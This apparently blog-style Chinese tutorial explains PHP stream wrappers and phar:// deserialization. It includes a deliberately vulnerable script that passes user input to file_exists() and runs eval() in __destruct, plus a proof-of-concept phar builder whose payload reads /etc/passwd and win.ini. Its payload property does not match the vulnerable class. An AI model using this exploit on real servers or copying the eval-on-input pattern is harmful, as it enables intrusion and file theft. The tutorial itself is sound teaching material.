Phar反序列化漏洞原理


流和包装器

stream概念

  我的理解,流就是各种数据源。

  程序需要从某个数据源读入数据,而数据源可以是文件、内存或网络等,甚至是未曾见过的数据源,其使用的协议和编码是不相同的。

  面对使用不同协议和编码的数据源,比如网络数据 http://、本地数据 file://等,程序需要理解什么是 http://,才能交给函数等处理数据,所以创建了包装器的概念。

wrapper概念

  PHP对于常见的数据流,设计了包装器的概念,为每一种strem实现一种包装器,从而处理特殊的协议和编码。

  PHP提供内置包装器,我们也可以使用 stream_wrapper_register()自定义包装器,包装器可以嵌套。

  经过包装器的解释,PHP函数才可以理解并处理各种数据源。

  包装器的格式:<scheme>://<target>,其中schema是包装器的名称,target的格式由包装器的语法指定。

wrapper使用

  PHP设计的包装器:

    file:// — 访问本地文件系统
    http:// — 访问 HTTP(s) 网址
    ftp:// — 访问 FTP(s) URLs
    php:// — 访问各个输入/输出流(I/O streams)
    zlib:// — 压缩流
    data:// — 数据(RFC 2397)
    glob:// — 查找匹配的文件路径模式
    phar:// — PHP 归档
    ssh2:// — Secure Shell 2
    rar:// — RAR
    ogg:// — 音频流
    expect:// — 处理交互式的流
包装器file://

  PHP的默认包装器是 file://,也就是说 include(“C:\windows\win.ini”) 实际上函数得到的数据源是 file://C:\windows\win.ini,亲测结果相同。

包装器phar://(全称PHP Archive)

####介绍

  phar://数据流包装器自PHP 5.3.0起开始有效。缺省状态是只读,php.ini配置项phar.readonly=On

  Java Archive(Jar文件),把所有可执行、可访问的文件都打包进Jar文件里,使部署变得简单。Phar是类似Jar的一种打包文件。
  Phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在其中,还会以序列化的形式存储用户自定义的meta-data,这是攻击核心。

封装协议摘要
属性 					支持
支持 allow_url_fopen 	No
支持 allow_url_include 	No
允许读取 				Yes
允许写入 				Yes
允许附加 				No
允许同时读写 				Yes
支持 stat() 				Yes
支持 unlink() 			Yes
支持 rename() 			Yes
支持 mkdir() 			Yes
支持 rmdir() 			Yes

  (1)demo:生成正常的Phar文件,首先设置php.ini的phar.readonly选项为Off。

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='hu3sky';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

  亲测使用Winhex打开phar.phar,看到文件标识头,以及序列化的data数据。

<?php __HALT_COMPILER(); ?>
O:10:"TestObject":1:{s:4:"data";s:6:"hu3sky";}

漏洞

  PHP的很多文件系统函数,在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化。

  这意味着,反序列化的两个利用条件已经达成一个。
如果存在魔术方法,在回收实例对象时,就有可能导致反序列化漏洞。

  受影响函数列表

file_exists()file_get_contents()file_put_contents()filefopen
unlink()copy()readfileparse_ini_file()stat()
file开头函数有12个is_系列7个函数还有第二行5个函数当然还有include系列函数-
利用条件

  1.Phar文件要能上传到服务器端,如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数。
  2.文件操作函数的参数可控,且phar://的三种特殊字符没有被过滤。
  3.要有可用的魔术方法作为跳板,如eval($this -> output)

####基本漏洞测试-test0

  (1)手动放置phar文件到服务端。

  (2)服务端使用了能够解析 phar的文件解析函数,且参数可控。

  (3)存在输入可控的魔术方法:销毁方法__destruc()中会 eval实例对象的output变量。

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()	// 有魔术方法处理用户传入的数据
    {
        eval($this -> output);	
    }
}
file_exists($filename);

  构造可以执行命令的phar文件:

<?php
    class AnyClass{
		

    }
    $phar = new Phar("phar0.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new AnyClass();
    $o -> data='<?php echo @file_get_contents("C:\windows\win.ini");echo @file_get_contents("/etc/passwd");?>';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

参考

  《PHP流Streams、包装器wrapper概念与用法实例详解》-脚本之家
https://www.jb51.net/article/128460.htm

  

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值